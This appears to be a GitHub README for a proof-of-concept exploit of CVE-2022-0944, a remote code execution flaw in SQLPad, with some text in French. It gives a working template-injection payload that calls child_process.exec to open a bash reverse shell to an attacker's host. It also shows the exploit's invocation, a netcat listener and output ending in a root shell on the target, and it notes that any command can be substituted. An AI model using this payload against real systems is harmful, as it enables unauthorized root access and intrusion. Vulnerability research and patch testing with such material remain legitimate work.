toneillcodes/cve-2022-0944PoC for RCE in SQLPad (CVE-2022-0944)
PoC pour RCE dans SQLPad.
Cet exemple lance un shell inversé, mais la charge utile peut être modifiée pour exécuter n'importe quelle commande disponible en modifiant la commande dans l'appel 'exec' de la charge utile.
payload = f"{{{{ process.mainModule.require('child_process').exec('/bin/bash -c "bash -i >& /dev/tcp/{reverse_host}/{reverse_port} 0>&1"') }}}}"
Python 3
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ python poc-cve-2022-0944.py -u http://sqlpad.example.com/api/test-connection -a 10.10.11.208 -p 7070
[*] Running exploit against target: http://sqlpad.example.com/api/test-connection
[*] Assembling JSON with payload
[*] Submitting request...
[!] Exploit appears to have been successful.
[*] Done.
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
connect to [10.10.11.208] from example.com [10.10.11.25] 45502
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad#
https://nvd.nist.gov/vuln/detail/CVE-2022-0944
https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb